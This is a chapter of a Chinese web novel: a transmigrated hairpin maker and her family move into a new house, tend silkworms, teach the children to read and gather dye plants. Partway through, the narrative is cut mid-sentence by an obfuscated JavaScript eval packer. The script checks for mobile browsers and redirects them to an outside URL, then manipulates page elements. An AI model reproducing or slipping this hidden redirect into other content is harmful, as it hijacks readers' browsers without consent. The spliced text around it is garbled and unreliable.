张氏见他们日暮而归,心里乐开了花,肯定没看到合适的,才会这么晚回来,如此心里便有了底,她哼着小曲等着两日后去收那十文铜板。
殊不知二房他们是为了办手续才耽误了些时间。
第二天一早曲河把借来的牛车一牵来,大家齐心协力,呼啦啦的把东西往上一搬。
如此往复三四趟,二房就彻底空了下来,张氏见计划落了空,后槽牙都咬紧了,她恨恨的看着二房搬走,根本没有搭把手的意思。还没在二房身上吃这么大亏,早晚得扳回一局。
中间有别的曲家村里人路过,好奇问:“曲家二郎,你们不是才分家吗,怎么这么快就要搬了。”
曲河在一边露出沉默叹息的神情。
元氏接过话头,抹了抹眼角不存在的眼泪说:“曲洪叔,我们也是没办法,娘和大嫂说,要是三天内不搬出去,就要一天收我们十文钱哩,我们庄稼人存点钱不容易,哪能给得起一天十文钱,只好着急赁了个宅子,先搬过去了。”
这话半真半假,只是没说明住的那宅子是个宽敞气派的大宅子,还是花真金白银买的,落在外人眼里,就是曲河受了委屈,被大房亲娘赶了出来,寒了心。
这曲洪也是个爱管闲事的,当即就去找了族长说明此事。
族长听闻后,摇头叹息,派自己的小儿子去敲打一番曲益,是不是对自己族里插手分家一事不满意,才来继续蹉跎曲河。
曲老太爷听完曲益转述,连连称不敢,转头朝着婆媳二人发了好一通火,这事才算揭过去了。
当然这都是后话了。
这些小插曲一点都没影响曲河一家人的喜悦,几人分工合作,先把各自的卧房给收了出来,至少晚上有个住处,别的都可以慢慢收拾。
元氏本想让芙姐儿住主屋,她觉得女儿就似那千金大小姐般,跟她们生活在一起倒像是明珠蒙尘。
曲芙听了倒是哭笑不得,在她的万般推辞下,她和曲艾住进了西厢房,俩姐妹一人一间屋子,推开窗户还能看见笔直英挺的桂花树。
曲竹住进了靠近书屋的东厢房,他太爱这个书屋了,里面有好多他没见过的书,他恨不得今晚能睡在书屋。
他再也不用羡慕二哥曲松了,曲松屋里也有书,但不多,都被他宝贝的放着,曲松有时放假,会教他些简单的三字经开蒙,但从不会把书借给他,后来大伯娘拦着曲松不让教他,他也就再没有学过了。
·
元氏和曲芙正在进门左边的南房。元氏正在喂蚕,她将擦掉露珠的桑叶,小心地铺撒上去,白白胖胖的蚕瞬间爬了上去,餍足的啃食桑叶,不多时便出现了一道半圆形的小锯口。
这六匾蚕,两两一组的,像上下铺似的排列在这。
曲芙正在摆弄地上的缫(sāo)车。
穿越前她是一个既会缠花又会绒花的簪娘。因所制簪花造型精巧,做工细致,配色清新,让人眼前一亮,所以她的作品都供不应求。
赚钱是她的爱好,她就爱看小金库日益变多的样子,为了赚更多的钱,她还压缩工期,猛猛熬夜,猛猛肝,已经达到了907的地步,一个月都难得休息一天,要不说资本家狠呢,自己当了资本家对自己更狠。
就在熬夜肝单要走上致富路时,她猝死了。
猝死时,她想,若能重来一次,她还是会接那么多单子,就是工期可以放长一点,毕竟前世她就是爱赚钱的性子,到了这里也没变。
再睁眼,就来到了曲家,成为了一个八岁小孩。这书里是一个不同于前世历史上的任何一个朝代。
甚至都没有绒花和缠花的出现。
前世做簪所需的蚕丝线,都是买的现成的,如今看见了缫丝工具倒是新奇。
“娘,你会用这个缫车吗?”
“当然会了,这里家家户户的女孩儿都会,也就是你离家早。”说罢她叹了口气,“芙姐儿娘对不起你,当时正值灾年,咱家又刚刚盖了房子,实在没钱了,大房提议说要卖掉个你这个病恹恹的孩子,少一张嘴少些吃食。
你爹嘴笨,我挺着九个月大的肚子,和他们争论。谁知大嫂竟撞了一下我的肚子,我腹痛不止,许是要生了,你爹赶忙去请稳婆,他们就趁着这个空隙把你偷偷带去卖了。”
她摸了摸曲芙的头顶,哭着笑着说:“真好,我的乖囡回来了。乖囡不会怪我吧,娘真不是要去卖你的。”
这段话唤醒了曲芙尘封的记忆,她当时烧得昏昏沉沉,只觉得周围吵闹不堪,原来不是幻觉,是一位母亲在为女儿据理力争。
曲芙眼神柔和:“娘你说的什么话,我知道你有苦衷,咱一家人一起把日子过好比什么都重要。”
这时曲竹匆匆拿着本书跑过来:“姐姐你识字吗?”他似是有些脸红的说:“有些字不认识,二哥哥没教过我。”二哥哥就是曲松。
元氏摸了摸曲竹的头说:“先前张氏说曲竹没曲松聪明这话,我是不赞同的。之前曲松教他三字经,只教一遍就会背了,张氏怕曲松会被曲竹比下去,就不让再教了。”
曲芙还真是意外自家弟弟有这本领:“我自是识得些字的,今后你有什么字不认识就尽管来问我。”想要冒充侯府家的女儿,若是不识字还真是会让人笑掉大牙,甚至她还写得一手好看的簪花小楷。
曲竹开心的笑了。
在一家人的欢声笑语中,属于曲家人的宅子收拾好了。
第二天吃过朝食,曲河带着曲竹去门口贴红联、撒五谷。
五谷一撒,五谷丰登,曲家的新生生活正式拉开了帷幕。
元氏挎着篮子带着曲艾去给附近四户邻居送些自己做的白糕。这是习俗,新搬去了一处地方,送些小物件,有睦邻的作用,而且俗话说得好,远亲不如近邻,过日子,得和邻居打好关系。
曲河今天换了身稍新一点的衣服,怀里揣着三两银子,准备去给曲竹交束脩了。
曲芙正在教曲竹学论语,好在前世学的知识够用,教小孩子启蒙绰绰有余,对于其中一些晦涩部分,还好这本书上有批注,应该是霍管家口中所说的少爷所书,字倒是写的苍劲有力,颇有风骨。
最让曲芙欣喜的是曲竹竟然还能举一反三,时不时的提问某一处文章是否还能用在别处。
看得出来是个读书的料子。
不多时,曲河就和元氏他们一起回来了,两人脸上都洋溢着笑意,想来此行颇为顺利。
曲芙看见曲艾回来了,朝她招了招手。
“艾姐儿想识字吗?”
曲艾眼睛亮晶晶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351362|199606||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的看着曲芙,随即又暗淡下来:“可不是男子才能识字吗?”
曲芙笑着勾了勾她的鼻子:“谁说的,我们想学就学。”
元氏此刻是最懂曲艾的,小时候,从来都是她看着哥哥学习,自己在一旁干活的,其实心里面她也是想识字的。
她朝着曲艾点点头:“就跟着芙姐儿学学吧,多些知识总是没错的。”
于是曲芙现在就从教一个学生变成了另一个学生。因为曲竹明日就可以书院上学了。
午间吃饭的时候,元氏给他们说了下周围邻居的情况。
周围五户人家,基本上都是为了孩子上学才搬过来的,只除了刘家的孩子,已经是书院的夫子。
和曲竹年龄相仿一起学的有贾、韩两家,贾二郎九岁,韩二郎十岁,已经在书院上过几年学了,上头各自有个姐姐。
还有户戚家则是有三个孩子,戚家大郎已经中了秀才了。
陈家家里的大郎准备今年考秀才,家里的二娘子和贾家的小娘子是手帕交,年岁都和曲艾年龄相仿。
这些人家倒是基本上是儿女双全的人家,其中和曲芙年龄相近的则是戚韩两家,都是十五六岁的年纪。
元氏颇为满意,搬来这里各自都有了玩伴了。
·
第二天,天刚蒙蒙亮的时候,曲芙听见隔壁有些动静。
她推开门一瞧,曲艾小小的身子,背着个高出她许多的大背篓正要出门。
“艾姐儿,这么早,你要去哪里。”
“家里的蚕马上就成熟了,但是家里的桑叶还不太够,我要出去采点。”
“那你等等我。”说罢便关上门。
不多时曲芙换了身轻便的衣服,去耳房找了两个小一点的背篓,换掉了曲艾背上不合适的大背篓。
“我们一起去吧。”
曲艾带着曲芙一路翻山越岭,教她如何辨别那些桑叶才能摘取,虽然有些桑叶特别嫩,蚕也爱吃嫩的,但是得放几天,长大一点再摘,这样蚕的口粮就能更多了。
不多时,两人的背篓已经都快满了,微醺的太阳洒在田垄上休息的二人。曲芙指着一个植物问:“这个草叫什么?”
“这个是蓼蓝。”
难怪曲芙觉得面熟呢,这正是前世她给蚕丝染色的天然植物染料,要是有了这些植物就能给蚕丝染色了。
曲芙随口问起来:“艾草...不艾蒿、紫苏、苏木、槐花这些有吗?”这些分别可以染出绿、紫、红、黄四色,再加上这蓼蓝的蓝色,就有五色了。
“艾蒿、紫苏、槐花这些都是有的呢,只是这苏木未曾听闻,或许可以问问爹和娘亲。”
这也是意外之喜了,曲芙顿时来了兴趣。
“走吧,我的好艾姐儿,带我去采点。”
二人结束采摘,背篓里的植物都高高冒出来了,用绳子拴住,才堪堪保住背篓内的植物不掉出来。
甚至二人手里也拿着不少。
待两姐妹回到家,元氏嗔怪道:“采的什么?一大早去叫你们就不见人影了,饭都凉了,我给你们下碗面吧。”
曲芙解释道:“采了桑叶和别的东西我有用处的东西。娘,面里待会儿给我多下点菜。”
曲艾应和道:“我也是。”